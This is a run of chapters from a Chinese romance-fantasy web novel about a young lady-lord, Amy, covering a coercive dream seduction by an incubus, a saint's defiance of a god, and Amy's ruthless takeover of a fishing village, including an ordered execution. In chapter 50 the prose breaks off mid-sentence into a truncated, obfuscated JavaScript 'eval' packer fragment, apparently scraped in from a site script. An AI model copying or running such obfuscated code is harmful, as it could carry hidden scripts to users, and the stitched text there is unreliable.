“不必这么心急,魅魔先生。” “现在还没到吃饭的时间。” 新的音乐响起,这次换成艾米主动搭上了对方的肩膀。 和晚上的布利斯不同,梦里的他并没有那么冷静,从舞蹈的开始,那只覆在艾米腰上的手就贴合得极为紧实,不仅如此,他还有意把掌心的少女往自己的怀里压,力气大得好像想把对方揉进身体里。 这让艾米几乎做不出什么额外的动作来,像只提线木偶一样被带着迈步,有那么几个旋转的镜头,她甚至完全被男人腾空抱了起来,脚尖只能踮在他的鞋上。 “布利斯,离远点,我要喘不过气了。”艾米涨红了脸,下意识用对雷尔夫的语气,想把贴紧自己的胸膛推开。 但无济于事。 布利斯不像雷尔夫那么听话。 他的尾巴再度蹭上怀里少女裸露的小腿,但这次,被紧紧控制住的领主小姐拿不出任何手来进行反击。 “好香。” “好可爱。” 布利斯俯身贴近艾米的耳垂,黏黏糊糊地在她的耳边小声询问。 “好想尝尝你。” “我可以尝尝你吗?” 艾米挣扎着想和裙底乱动的尾巴斗争。 “不可以!” 她有点恼火地说:“人类不能接受随便和什么人做这种事情的!” 腿间的尾巴立刻停下了。 男人闷闷不乐的声音透过胸膛传出:“我只想轻轻尝一口也不行吗。” “当然不行!” “怎么样才能可以呢?” 布利斯的声音中带上了一丝委屈巴巴的困惑,听起来就像没有经过社会化的小动物初入人类社会的迷惘。 这让艾米突然灵光乍现。 绝好的机会。 “人只会和,嗯,爱人做这件事。” 她思考片刻,最终选中了这个比较合适的词语。 “可是你已经订婚了。”男人的手趁她不注意从腰部向上抚到她裸露的背,指节在肩胛骨上打着圈摩挲,用无意识的行为来缓解饥饿的烧灼:“别嫁给洛克,他比你大快十岁,已经是个老男人了。” 他用那双湖绿色的眼睛专注地看着对方:“你喜欢他哪里?我可以做得更好,嫁给我好不好?” 艾米咽下了一口口水定定心神,来确保自己不会被他蛊惑得五迷三道而忘了后面想说的话。 “爱人的前提是相爱。你都不爱我,我为什么要嫁给你?” 布利斯的眼中划过短暂的茫然。 从小到大,没人和他说过这件事,母亲教他的,也从来只有狩猎。 “爱,是什么?” 艾米眨了眨眼:“比如说呢,你一见到对方,就紧张,心跳不止。” 男人牵起她的手放在自己的胸口:“我一见到你,整个胸腔都在烧灼。” 艾米连忙把手抽回来,想了想又说:“你那种是饥饿和食欲。爱呢,爱会有占有欲,你会想要对方所有的注意力都在自己身上。” “每次看到那条狗跟在你身后,我就想用空间魔法把他丢到别的地方去。” “爱,对了,爱是怜惜。你可怜一个人的时候,就是爱她。” 艾米绞尽脑汁,终于又想到了新的定义。 “我一直很怜惜你。”布利斯轻叹说道,他喉结滚动,指腹贴上少女开合的唇:“要不然你怎么能像现在这样,穿得好好的,站在我面前跳舞。你想象不出,我每次靠近你之前,都需要花多大的力气,才能克制住我的进食欲望。我用了几乎一切的办法,才能忍住不把你搞得浑身湿漉漉的,像沾了水的小兔子一样,茸毛黏在一起,可怜地流眼泪...” 艾米微微发愣。 男人趁机用力,强行抵开了手中的唇瓣,带着要往牙齿里面探进的决心,轻柔但不容拒绝地往更深处搅弄。 “等等。”艾米推开布利斯的手,站直差点软下去的身体:“所以,你一直都在靠魔法和药剂来克制吗?” 怪不得自己一晚上都在散发讯号了,而布利斯还能好端端地一直跳舞! 她差点以为自己对着镜子练习了好多遍的姿态不够优雅和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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在压力之下,她下意识想逃,却在转身之后被突然出现的阶梯绊倒,后仰着整个跌进了一张陌生的床上。 这又是什么时候出现的? 周围的一切都变了样。 具有压迫感的床幔顶部是一副关于野外狩猎的毯画,在艾米的视线之内,四柱床的支撑柱上镌刻着的形态各异的兔子。 有的正在吃草,有的警觉地竖起了耳朵,而更多的,是奄奄一息的被叼住后颈的模样。 布利斯的眼睛眯了眯,神色不明地站在床边。 “也许我应该去搜集一些关于梦的魔法,这样你每晚都能出现在这里了。” 艾米想说点什么再挣扎一下,却发现自己的喉咙深处只能发出意味不明的呻.吟,任何成形的话都无法吐出,只能用祈求的目光看着对方。 但这种祈求的目光似乎并没有什么帮助,那双湖绿色的眸子里盛满了甜的发腻的蜜意,和闪烁不定的兴奋。 “如果这是梦的话,那么我做什么都可以的吧。” 紧接着,他微笑着伸手抓住少女纤细的脚踝,不容分说地俯身吻上去。 50-60 第51章 第51章亲爱的哥哥,这个时候,…… 亚兰这几天都留在旅馆看书。 自从艾米说了自己想在泥巴湾的滩涂发展海水养殖的想法后,他就一直在阅读这方面的书籍。 白天,艾米会带着莉亚外出,去裁缝铺采买衣服,或去药店给莉亚未痊愈的伤口上药。 而到了傍晚,三人会一起在大堂的角落吃饭。 同在这一层的有一对上了年纪的老夫妇,他们常坐在相邻的位置,因此每次见面时,老太太都会热情地打招呼。 “嗨,迪斯港的海鱼味道很不错吧?三十年前我和老公来过这里,那时我们刚刚有了第一个孩子,就像你们现在差不多。”老太太很健谈,她以为莉亚是他俩的孩子:“一家人的第一次旅行,好好享受吧,年轻人,你们会用三十年来怀念的。” 艾米不想暴露更多隐私, 因此没有辩驳,只微笑着点头回应,企图糊弄过去。 而一旁亚兰的耳根几乎都红透了,以至于回到房间独处的时候,他还不受控制地一直在想这件事。 他们是一家人。 这层被误解的身份,听起来格外美妙。 这时,门外传来了敲门的声音。 亚兰看了看墙上的挂钟,应当是艾米带着莉亚回来了,他刚好整理了一份初步的计划书,迫不及待想给艾米看一看。 轻转门把手,亚兰的笑容在看到门外的雷尔夫和罗莎后缓缓消失。 “太好了。”艾米兴高采烈地对亚兰说:“我们明天就能离开这里了。” “不过,我想离开迪斯港后先去泥巴湾,再从那里回托利亚。” 她走进屋内,转身继续面朝众人说道:“我从黑鼠那了解到,泥巴湾的大部分人甚至不知道自己的领主是谁,他们最多也只听说过卡特总管和他们的侄子乔治。而这个叫卡特的家伙,明明知道现在那地方归我了,却连样子都不做,从没想过主动来向我效忠。” “正好,我想你需要实际看看那块滩涂的情况。对吧?” 看到亚兰没什么反应的样子,艾米又喊了声他的名字。 “亚兰?” “我们,明天就要走了吗?”他看起来不是很高兴的样子。 “这么硬的床板你还没睡够呀?”艾米不解:“再说了,我们早晚都是要走的。” 是啊。 早晚都会走。 亚兰的情绪瞬间低落了下来- 神降仪式是圣殿每年最重要的事项。 为了能通过圣子聆听光明神的旨意,沙利希恩需要提前三天禁止食用一切食物,只靠每天一杯的圣水来洗涤身心。 幸好这活动一年也只有一次,否则他宁愿回贫民窟也不想留在这里玩什么扮演圣子的游戏了。 可他没想到,自己的哥哥,竟然为了那个女孩申请了一次额外的神降仪式。 虽说光明神并不是每次仪式都会降临,但神不可惊扰是三圣经第一页的箴言。所以为了申请这次额外的神降,米迦尔自愿在禁闭室受了三天的鞭刑,不仅整个后背血肉模糊,他还坚持在出来后也不使用光明法术自我疗愈,仅依靠每日的清洗和更换绷带来避免伤口的感染恶化。 真是个疯子。 沙利希恩想,之前要杀人家的也是他,现在为了再次确认神的旨意,宁愿挨了三天鞭刑的也是他。 真搞不懂他脑子里到底是什么。 如果不是米迦尔的心底仍然一片宁静,没有任何欲望的杂音,沙利希恩甚至都要误认为他喜欢那个叫艾米的小领主了。 更可气的是,就算是这样莫名其妙的疯子,也会被偏爱着——他想到了艾米的心声,那傻女孩还在心底祈求米迦尔爱上她,真是可笑。 本以为她和那些无聊的信徒不一样,没想到还是差不多的烂品味,不过是因为米迦尔那副假得要死的脸,就爱上了他。 想到这里,沙利希恩有些烦躁,他知道,他的哥哥一直以来都是更讨人喜欢的。 圣殿的老头们总是对他说,神偏爱你,但实际上,沙利希恩至今无法理解神为什么选中了他,他甚至一度怀疑过是哥哥动了手脚。 光明神明明是偏爱米迦尔那家伙。 真讨厌啊,所有人都喜欢他虚假的笑容,赞美他的虔诚,歌颂他的善良和温柔,却似乎没有一个人发现他其实是个疯子。 沙利希恩在床上辗转反复。 原本在仪式前夜,他就会因为饥饿而烦躁,可今晚,这股莫名的火气似乎更旺盛了。 那个蠢女孩,喝多了酒走不动路时,明明是自己费劲搀扶着她,结果嘴上一直念着的还是他哥。 如果她要是知道,米迦尔为了她,忍受了整整三天的鞭刑,应当会感动得落泪了吧。 可惜,他哥绝对不会爱上任何人,他只爱他的光明神。 不仅如此,他最惯会的就是用微笑来蛊惑信徒,而隐藏面具之下空虚无比的、寡淡到近乎纯白的内心。 沙利希恩仰面躺在床上,望着漆黑的天花板嘲弄地冷笑了一声,越来越重的饥饿让他的身体虚弱却精神亢奋,他又回想起自己经历过的三次仪式,只有一次光明神降临了。 就是去年的那次。 在此之前,他一直以为神降仪式只是圣殿每年走走过场的表演项目而已——就像他一直表演一名“圣子”一样,沙利希恩总觉得圣殿的这些人也是在表演,什么光明神黑暗神的,他私下和米迦尔谈论,从来都是用“你的神”来代替祂。 但那次神降仪式是他第一次感受到,一股强大的威压接管了他的身体,他的意识像一块布丁被挤走,顺着血液被打散进四肢。 似乎就是一眨眼的功夫,布丁再度复原,沙利希恩睁开眼,看到的一群痛哭流涕的老头。 如果不是真实感受到那股力量,他差点以为自己刚才只是走了个神。 想这些做什么? 沙利希恩翻了个身,重新面对墙壁。 无非就是两个结果,要么神说要她死,米迦尔继续天南地北地追杀那个小领主,不过依据前几次的失败,估计他会亲自出马;要么神说是祂搞错了,这件事到此为止,从此那个叫艾米的小领主就犹如一片风吹过的落叶一样从他的生活消失。 沙利希恩闭上眼睛,烦躁仍然不止。 第二天,神降仪式上的圣子眼圈乌黑,几乎每个神官看到他都皱起了眉头。 最后是修女拼命用热毛巾在他的下眼湿敷,才在仪式正式开始前稍微掩盖了一二。 又是一堆无聊又琐碎的仪式流程,沙利希恩拼命忍住打哈欠的冲动,因为困顿眼皮无力地耷拉着,甚至连他最喜欢的“听听老头们最近的欲望”这种活动都没勾起他的兴趣。那些乱七八糟的心声嗡嗡嗡得,让他更想睡觉了。 仪式在圣堂举行,这天圣殿会全部关闭全部的接待室,不允许任何除了神官和修女之外的人进入,而有资格能留在仪式现场的,更是只有五人。 因为这次是临时申请的,所以只有中央圣殿的神官来参加。 等到竖琴在法力的作用下弹奏起《祝圣曲》的时候,白色的光点连成细细的丝线,在圣子身上整个缠绕。 按照上次的经验,等到曲演奏完成,神就会降临。 乐曲已经到了第二小节,沙利希恩在心底轻轻数着节拍,他看到自己的哥哥神色莫辨的脸站在下方同样注视着一旁的竖琴。 亲爱的哥哥,这个时候,你想的是什么呢? 你所期待的,你的神的回应,是“杀了她”的肯定,还是“这一切就此结束”的否定呢? 可惜米迦尔离他太远,无法听到他心底的声音。 乐曲进入了第四小节,沙利希恩已经放松下来,等待那个十分不礼貌的光明神再次来他的躯壳里“做客”。 就在音乐即将停止的时候,他忽然产生了一个念头。 他还记得自己像一块布丁一样滑嫩的意识被挤走的感觉,那是一种十分具象化的感受,具体到他觉得如果的意识中有一双手,就能牢牢将滑溜的布丁按在原处,挤走那股威压。 也许他确实可以守住自己的意识。 答案并不是只有是、否,还有可能是“或”。光明神有可能不会应召而降临,到时候米迦尔会怎么选择? 太有趣了,这样一个毫无欲念的人,也会在心底有期待的答案吗? 沙利希恩突然很想知道。 当神不回应他的问题时,他会选择怎么做?如果一个人选择根据银币的正反面来做决定,那么实际上,在抛出去等待它落下的那刻,他的心底就已经有了答案。 于是沙利希恩决定迎面对抗光明神的降临。 当然,他想,他只不过想让这银币掉下来得更慢些罢了。 熟悉的威压逐渐降临,沙利希恩将自己长久以来听到的所有欲念塞进了意识的周围,将那块柔软的布丁固定住,他开始清晰地感觉到和那股威压对抗的痛苦。 他全身颤抖,额头冒出细密的汗珠,喉间溢出低不可闻的痛苦的呻。吟。 太痛了。 他虽然还不得而知米迦尔的想法,但却在此刻清晰地知道自己的选择是什么了——在银币落下之前,他不想让艾米死,也不想让她从此和自己再无关系。 他想要的,就是让银币就这么停在空中而已。 不知过了多久,当疼痛甚至成为一种惯性之后,那股神秘的威压忽然地就退却消失了。 意识逐渐回笼。 沙利希恩这才发现,自己的 后背几乎要将袍子汗湿了,大脑的任何思考都会带来若隐若现的似乎是幻想般的剧烈疼痛。 他缓缓睁开眼,咬着牙说出了之前几次神降仪式的台词。 “神未能听召降临。” 几乎所有人都露出意料之中的表情。 在圣殿的历史上,神降几十年未出现都是常有的事,这才几个月过去,神就再次降临了,才奇怪呢。 沙利希恩长舒一口气。 他疲惫地用视线扫过其他神官,最后落在了哥哥的脸上,久久未动。 那双眼睛平静地如同一把锥子,跨越两人的距离,又准又利地将他钉在原地。 ——米迦尔知道他在说谎。 沙利希恩心底一紧,却微微抬起下巴,朝着哥哥的目光迎了上去。 米迦尔知道他在说谎,但他没有揭穿。 他不想知道他的神会给出什么答复吗? 还是说,他和自己一样,也不希望那枚银币落下呢? 第52章 第52章这根本不是女仆应当学会…… 艾米租下泥巴湾后,还是第一次踏上这块土地。 糟糕的道路满是泥泞,马蹄发出沉闷且拖沓的声响,配合阴云密布的天气,实在让人心情烦躁。 巴特骑马走在最前面领路,古德先生收到信后便让他先去泥巴湾等着,因此这个小伙子干劲十足地每天在村口等着,终于在今天日落之前接到了领主一行人。 他热情地介绍着今晚的住处:“我已经提前收拾干净了,虽然有点小,但十分牢固。泥巴湾太小了,别说旅馆了,连总管处都破破烂烂的。” “哦?”艾米问:“那之前卡特总管过来住哪里?” 巴特回答:“住在他侄子乔治的宅子里。” “那我们就去那里。”艾米双腿夹紧马肚,上前一步赶上巴特:“你带路。” 有更好的地方为什么不住?她可没有吃苦受虐的倾向。 十几分钟后,众人穿过略显萧条的市集街道,尽管这里的石板路坑坑洼洼,但已经算是村里最干净的地方了。马车道的两边紧贴着人行道的地方还留有排放污水的小沟渠,每隔一段距离,就有几块石墩子摆放在道路中间,缝隙仅够单匹马通过。 “这些都是过街用的垫脚石。艾米小姐,您小心。”巴特提醒道。 罗莎好奇地问:“这里的街道两旁好高,这是为什么?” 巴特耐心解答:“这里经常下雨,为了排水,才把中间的道路修得低洼。所以需要前面这些用来垫脚的石墩——小心,前面拐个弯后,就到乔治家门口的庭院了。” 道路逐渐变得平整,坡度也逐渐拔高。对于这个遍布泥泞的渔村,把房子建在地势更高的地方确实是个不错的选择。 门房将突然出现的陌生人当成了过路的商旅汇报给了管家,于是艾米等到有点不耐烦,才看到有人出来。 管家西蒙在看到面前这群人的配置后皱起了眉头,这群人,不像是商人,倒更像是过来敲竹杠的佣兵,他怀疑和永夜城的哈尔男爵有关,警惕地朝他觉得应当是首领的男人询问他们的身份和来意。 雷尔夫退后半步,让出艾米的位置:“这位是艾米小姐,托利亚的领主。” 管家西蒙听过这个名字,附近镇子的小领主。 “也是现在泥巴湾的领主。” 西蒙大惊失色,他从未听说过这件事,结结巴巴地说:“哈尔男爵男爵大人才是泥巴湾的领主我并不知道这件事。” 艾米踩着脚蹬从马上下来,把缰绳递给满脸震惊的西蒙。 “那么,你现在知道了。”- 等到乔治穿戴整齐地出现在会客厅时,又过去了十几分钟。他仍然半信半疑,因此第一反应就是先给卡特总管写信,耗费了些时间。 “您的意思是,您要在这里住上几天?”乔治摸不清眼下的情况,小心翼翼地问。 “是,太阳马上就要落山了,你的这位总管可以先去把客房收拾出来了。”艾米坐在会客厅里支走那位西蒙管家,漫不经心地欣赏着墙上色彩绚丽的壁画。 她顺手端起用来待客的杯盏随口说道:“乔治先生,我喜欢您的这套茶具。” 乔治心底轻轻松一口气,连忙赔着笑说:“库房里有一套新的。如果您喜欢这种琉璃材质,我还有一套未使用的餐具,和茶盏相配,一并送给您。” 艾米没有说好,也没有说不好。 乔治刚放下的心又提了起来,不过一会的功夫,他就看着艾米的脸色允诺送出去了许多礼物。 幸好没过多久就到晚餐时间,要不然乔治怀疑自己这间屋子里的所有东西都会被这位小姐“看上”。 餐桌上,艾米小姐终于谈起了正事。 “我路过市集,那里似乎很萧条,没见到多少人。” 乔治解释道:“前段时间,有魔法师在近海捕捉海光象,连带整个码头和渔船全都毁了,很多人搬去其他城镇了。不过马上丰渔期就要来了,到时候泥巴湾会来新的渔民的。” “可被毁的码头,好像现在都没修好,难道卡特总管这期间一次也没来过吗?”艾米问。 其实她并没有过去看,是路上听巴特说的。 乔治感觉背后冒汗:“我叔叔卡特总管他正在筹备金币做这件事,您知道的,很多人都跑了,税金收不上来。” “原来是这样。”艾米温言细语,似乎才意识到这二者之间有因果关系。 她顿了顿,看着乔治紧张抽动的脸颊,不经意地继续问道:“修个码头只需要三十枚金币就够了,刚才你说要送给我的礼物也不止三十金币了吧?” 乔治支支吾吾。 “我看,这个钱你来出就好了,是不是?”她笑眯眯地说。 乔治咬着牙点了点头。 一餐用毕,她又以修码头为理由,要走了乔治的五十个家仆。 “除了码头,沿岸的房子也需要修缮一下。要不然新的渔民过来会没地方住的,是不是?” 乔治的牙都快咬碎了。 但他也只能硬着头皮答应,叔叔不在,他不敢轻举妄动,再说,这些要求并不算严苛。 艾米也没再为难他。 晚上回到房间,她把巴特叫了过来。 “最近识字学得怎么样?”艾米问。 巴特咧着嘴角回答:“古德先生已经把一些简单的书信交给我来写了,除此之外,我根据您列的单子,正在读那本关于北境海洋生物的书。” “很不错。”艾米顺便夸了他一句,就看到巴特不好意思地低下了头。 她挑了挑眉,继续问:“那么,你觉得乔治是个什么样的人?” 这个问题不在巴特准备好的题库之类,他想了想,犹豫地说:“乔治先生似乎很好说话?” 艾米噗嗤笑了出来,她对此没有做出评价,而是换了个问题:“巴特,你知道我为什么要你学识字吧?” 小伙子严肃地点了点头:“您希望我能为您做事。” “不。我希望你坐到卡特总管的位置上。” 巴特倒吸一口凉气。 他之前最多以为自己能在泥巴湾的新任总管的手下做事,如果运气好,能在四十岁的时候成为大人的管家,甚至连这个都已经是他做梦的极限了。 而现在,艾米小姐居然说,让自己做泥巴湾的总管! 他才二十岁,甚至半年前,还在领主府的厨房工作! 短暂的震惊之后,巴特迅速平复火热的心,眼中也多了几分凝重。 如果他畏手畏脚的话,当初也不会从世世代代都是渔民的家中出走,到托利亚谋了一份工作。 看到巴特的神色变化,艾米再次问了刚才的问题:“那么,你现在觉得乔治是个什么样的人呢?” 巴特陷入沉思。 艾米小姐问这个问题的用意是什么? 他应该怎么回答? 片刻之后,犹如灵光乍现,他忽然理清了思路。 “乔治先生他,十分软弱。”巴特把自己放在了卡特总管的位置上,开始再度审视乔治。 “他是卡特总管的侄子,却在没有得到任何信息确认的情况下,就对您毕恭毕敬,有求必应。” 如果是卡特总管在,小姐恐怕无法这么轻松就要来这么多家仆帮她做事,这里毕竟是泥巴湾,不是托利亚。 艾米欣慰地点头:“但软弱并不是坏处,你觉得呢?” 巴特微怔,想了想回答:“是,软弱的人总不会犯错,对于卡特总管来说,这样的侄子刚刚好。” 艾米点头:“那么,在卡特总管抵达泥巴湾之前,你觉得我最需要做的准备是什么?” 巴特皱眉,这个问题难倒他了。 艾米小姐是领主大人,她甚至可以直接撤掉卡特总管的职务,还有什么比这个更大的权力?但细细一想,如果小姐贸然撤掉卡特总管的职务,又有谁能帮她调动人力修码头、修屋子呢?她再有权力,也无法操控这么多人,她总需要有人替他做事,而即便是自己,也没有卡特在这里经营了几十年的手腕。 “我需要的是士兵。”艾米将手中的信封递给巴特:“好了,这个问题对你来说确实太难了些。不过就像我刚才说的,对于下属来说,愚笨并不是坏事。” “还记得我第一次找你时说过的话吗?” 巴特恭敬地接过信封:“记得。您说您选中我,是因为我掌管领主府的鱼类采购,两年间的账单都十分明晰精确,而我的哥哥也从未撺掇过我中饱私囊。” “没错,你只需要牢牢记住,我选择你的原因是什么就够了。”艾米起身吩咐道:“把这封信连夜带到托利亚给古德和兰斯看,让兰斯带着护卫队即刻启程。” 巴特点头:“是。” 屋内,莉亚困得眼睛快要闭上了。 她瘦瘦小小的一只,抱着毯子坐在沙发上,看着巴特倒退着离开关上门,打了一个大大的哈欠。 “先别睡,莉亚。”艾米晃着她的肩头,把她从困顿中摇醒。 小女孩用力挤了挤眼睛,乖巧地瞪大眼睛等着小姐开口说话。 艾米问出了刚才问过的问题,只不过换了个主角:“莉亚,你觉得巴特是个什么样的人?” 如果塞西莉亚在这里的话,以她的聪慧,应当会在听到这话后又一次目瞪口呆,惊讶得拿着茶杯的手都会颤抖。 ——她一直以为,艾米带走莉亚是出于贵族小姐的善良,等孩子长大了,让她做自己的贴身女仆之类的。 但从来不是。 艾米想教给莉亚的,除了偷窃之外的事情,根本不是女仆应当学会的事。 第53章 第53章不会带团队,就只能干到…… 艾米放心地把码头修缮的事情交给了乔治,并给了他三天的时限。 也就是在卡特总管抵达泥巴湾的时候。 乔治根本没做过这类工程,一拍脑门就直接应下,转头告诉管家西蒙的时候,才知道这样的事项,两三天的时间几乎是不可能完成的。 “她肯定是想以这件事没做好来责难您呢!”西蒙痛心疾首地说。 乔治慌乱问:“那我该怎么办?” 西蒙想了想:“反正肯定是做不完的,那么现在最好的办法是,您先按照她的要求装模作样地去做,剩下的等到卡特总管来了后再说。” 乔治点头,现在也只能先这样了。 说到底,贵族小姐懂什么建设,她根本就不懂这其中有多复杂,不过随口说了个期限而已。 修缮需要提前筹备木材和石料,因此西蒙先安排了一批人去附近的森林伐木。这些人得了要拖延的暗示,连斧子也懒得挥两下,就这么混到了日头西斜。 “你们见着那位领主大人了吗?”一个身材粗壮的下人靠着树和旁边坐在地上休憩的同伴谈论起这件事:“我可是听说是个没结婚的小姐呢。” “不是不是。我听厨房的人说,她有个七八岁的孩子!” “那真是稀奇,我还没听说结了婚的太太也能当领主了。”最开始说话的那人瞪大了眼睛。 另外一人插嘴:“是没结婚,但也确实有孩子,就是不知道是谁的种。” “我听说她身后跟着一个长相英俊的侍从。” “我怎么听说的是她身边那个面容清秀的学者。” “怪不得结不了婚呢,哪位贵族会娶这样的女人,现在就玩这么花,结婚后还了得。” “就是,就是。” 几人不约而同露出隐晦的嬉笑。 就在这时,坐在地上的那人忽然伸手止住众人:“等等——你们听!” 地面突然产生有节奏感的震荡,马蹄声如闷雷隐隐从森林深处传来,随着这声音越来越清晰,一队身穿银白色铠甲的士兵从尘土飞扬中出现。 他们骑在高大的骏马上,整齐划一,气度不凡,和卡特总管每次收税带来的士兵相比,面庞更为坚定锐利。 队伍整齐有序地前进,只有为首的年长男人目光轻轻掠过旁边这群伐木工,先前闲聊的几人都被这只队伍吓得愣在了原地。 直到飞扬的尘土渐渐落下,马蹄声再度隐没,才有人颤颤巍巍地张口说话。 “这群人是来干嘛的?” 他满脸惊恐,视线落在其他人脸上也只看到一模一样的神色。 他们没见过这么多甲胄齐备的士兵,但根据之前的经验,当士兵的马靴踩在泥泞之上,就会有人的脑袋滚落- 和昨天一样的会客厅里,当兰斯站在艾米身后的时候,乔治的脸上连谄媚的赔笑都挤不出来了。 管家西蒙头上捏了一把汗,他还心存侥幸,觉得自己能解释清楚为何工程效率这么慢。 “艾米小姐,修码头不是直接派人过去就行的,首先得先筹备石料和木材,光伐树和采石就两天在这之后还要切割木材、打碎石块” “管家先生,你不必和我解释这么多的。”艾米打断他的话,转头望向一旁坐都不敢坐下的乔治:“我记得这件事是交给你的呢。” 乔治脸皱成一团,说话磕磕巴巴:“我我不知道不是,我让西蒙去做了” “你不知道?”艾米温柔地问:“那么,他做事这么懒散马虎,你也不知道吗?” 乔治只觉得自己的汗都要落在地上了:“我真的不知道” 艾米轻叹口气,屋内瞬间安静地连呼吸声都消失了。 她朝乔治露出一个可以称得上和善的笑容:“我也不是想要为难你,你的叔叔卡特做了这么多年泥巴湾的总管,我很敬佩他呢。” 乔治抹了抹额头上的汗。 “可是,既然你的管家做事这么马虎,就没必要再继续做下去了吧?” 乔治还以为这事就要这么揭过,连忙点头:“是是是,没错。” 西蒙却心底一凉,就连国王都不能插手其他大公的附庸,而这位领主小姐,直接就要越过乔治,撤他的职务,未免有点太嚣张了。 他愤恨地看了一眼对方,却在看到兰斯的佩剑后脖子一缩。 西蒙一直知道乔治软弱,因此在这里做管家很舒服。不过几年的功夫,他就在永夜城置办了家产,这次还借机买了几个农庄可万事有利有弊,如今面对这么个突然出现的小领主,乔治居然连一句反驳的话也不敢说。 “既然你也这么认为,那就好办了。”艾米犹如点兵点将地随意在西蒙身后一指,看也不看地对乔治说:“那就换他来当管家,继续来修码头怎么样?” 对于乔治来说,无论换谁都没有任何区别,只要能把面前这位艾米小姐哄好,熬到叔叔回来就好了。 他的脑子容量比猪还不如,根本不想做任何思考,只会点头。 “可是,如果西蒙还在这里待着,再来几个管家,恐怕都很难越过他来做事吧?”艾米音调微微上扬,忽然又发出疑问。 乔治根本听不懂,只会小心翼翼地询问:“那您说,该怎么办呢?” 年轻漂亮的领主小姐忽然绽放了一个轻松的笑容,看得他也不由地在心底松了口气。 “杀掉就好了嘛。”艾米说。 话音刚落的下一秒,似乎一直等着这句话的兰斯就利索地上前架着西蒙的身体拖出了这间屋子。 整个动作流畅得没有任何拖沓,西蒙甚至都没反应过来,连求饶都没来及说出口,就被堵住了嘴。 被艾米指着要成为下任管事的男人腿都软了,他刚才还为自己头上砸了个馅饼而兴奋,现在却吓得瑟瑟发抖,站都站不住了。 “好了,这件事我就帮你这样解决啦。”艾米起身,从桌上拿起自己入座后摘下的黑丝绒手套慢条斯理地戴上:“我饿了,该吃晚餐了吧,乔治?” 乔治核桃大的脑子瞬间宕机,变成了只会点头的机器- 晚餐后,巴特几度欲言又止的样子引起了艾米的注意。 “小姐。” “嗯?” 乔治昨晚已经连夜将庄园最大最舒服的房间收拾出来了给她,此刻,艾米正在一张质地坚硬、纹理华美的橡木书桌前看亚兰写给她的资料文书,半响头也没抬地应了一声。 一副下了很大的决心的模样,巴特犹豫地问:“小姐,您就这样处死了西蒙,万一后面那个顶替他的,比西蒙还不如,要怎么办呢?” 艾米放下笔,抬起头,很是欣慰巴特有这样求知的精神。 俗话说,不会带团队,就只能干到死。 成为领主之后,艾米对此感悟颇深。 最开始还有几分兴趣的时候,她什么事情都想亲自过问,等到想做的事情越来越多,她就越觉得手下的人不够用。 “你是不是觉得,这和我我当初把你从厨房里调出来的做法完全不同?” 巴特点头。 “那是因为我已经足够熟悉托利亚的每个人,并且,我也有时间,把我觉得聪明可靠的人找出来。” “但我不会一直留在泥巴湾,等到滩涂的网箱和排筏开始搭建,我就会离开这里,返回托利亚。我没有这么多时间,我必须尽快从这里找出能用的人。” 对此,巴特也理解。 但这样随便一指,就能找出好用的人吗?他困惑不已,问出了自己疑惑。 “当然不。”艾米瞥了眼在旁边学写字的莉亚,她正磨磨蹭蹭半天没有动静,一直支着耳朵偷听。 “但是,这不是我需要考虑的事。”艾米收回视线,表情严肃:“等你掌握权力后,就会知道,多的是想要巴结你、讨好你的人。这种体验很美妙,几乎没有人能拒绝得了。” “所以,只需要展现你的权力就够了。要不了一天,立刻就会有无数想为我做事的人冒出来,他们会厮杀、争斗,最后留下那个最能干、也最会表演忠诚的人出现。” 艾米淡淡地说。 巴特牙齿微颤,有些紧张,他从未触及这个世界,因此小姐的每句描述都令他心脏狂跳不已。 他想说点什么,却一时语塞,最后昂首挺起胸膛,有点驴头不对马嘴地说:“小姐,我对您的忠诚,不是表演的,是真心的。” 艾米轻笑:“巴特,我不在乎这个。我只希望你牢牢记住,我当初选中你的原因。” 无论看过多少次,他都忍不住沉溺在领主小姐的笑容里,整个胸膛都充斥着想要为她而战,为她去死的冲动和热情。 “好了。如果你没有别的问题的话,劳烦你出去,让雷尔夫把我要喝的热牛奶送过来吧。”艾米用不习惯乔治家的下人,因此住在这里的几天,雷尔夫几乎成了她的贴身女仆。 终于又能回到之前以来张口饭来张口的生活,她十分感动。 小伙子行了个礼退下,艾米重新伏案面对手上的资料。 就在这时,她的视线掠过桌角的一封银白色封面、盖着着圣殿印章的信。 除了那支队伍,兰斯还带来了一个托利亚的新消息。 “之前您向圣殿申请的文书有了反馈。他们将派来一位新的神官过来,重新翻修教堂,播撒光明神的福音。” 艾米想起这件事,顺手拆开了这封圣殿的回信。 上面的字迹如丝绸般流畅而细腻,起笔轻盈,落笔却稳重,像乐章一样呼应且美丽。 她一目十行地掠过那些套话,看向结尾的落款。 这是米迦尔亲自写的回信。 第54章 第54章你听我解释。 如艾米所料,第二天,就有个叫莫尔的男人找上了巴特。 他接进不了艾米,因此只能从周围人下手,为了表忠心,对巴特讲了许多卡特总管的秘密,希望能谋得一个差事。 艾米得知这个消息后没有做任何评价,她没有想要干预的意思,只是鼓励地对巴特点了点头:“那么就拿他练练手吧,我相信你可以的。” 小伙子立刻脸涨得通红,激动不已地出去了。 艾米在他离开后立刻摊在了椅子里。 ——给下属画饼也是很心累的。 不过莫尔这个名字她倒是听过,因为这个人就是泥巴湾放高利贷的那个老汤姆的小儿子。 她拧了拧眉心,努力思考要怎么解决这件事。 泥巴湾原本的居民就不多,出逃一批后更显萧条,尽管无论是乔治还是巴特都说,等到丰渔期来临后,会有渔民返乡。 但艾米不希望他们像跟着草原迁徙的牧民一样不定,而是长长久久地生活在这里,那么她预备花费金钱和人力修建的道路、房屋和养殖用的网箱排筏才能有用。 最主要的是,她还需要更多效忠于自己的士兵。 她可没准备把泥巴湾还给哈尔。 所以,艾米目前最缺的还是人。 依靠黑鼠在迪斯港的口口相传没什么作用,她需要一场热闹的活动,来向周围的人民展示自己的领地,吸引更多的人来定居。 苦恼。 艾米推开窗户,翠绿的枝桠伸了进来,叶片翠绿,生意盎然。 她想到了托利亚每年最重要的节日——丰收节。 托布利斯的福,有他的农业加成,今年的收获应当远超往年,除此之外,泥巴湾也会带来丰富的海鱼,加在一起,足以喂饱现在数量两倍的人民。 艾米把枝桠推出窗外,重新关上了窗户。 今年夏天应该不会无聊了。 她打算用接下来这半年的时间,将每年秋天的丰收节办成托利亚小镇有史以来最精彩、也最盛大的节日- 当卡特来到泥巴湾的时候,这里的一切都变了样。 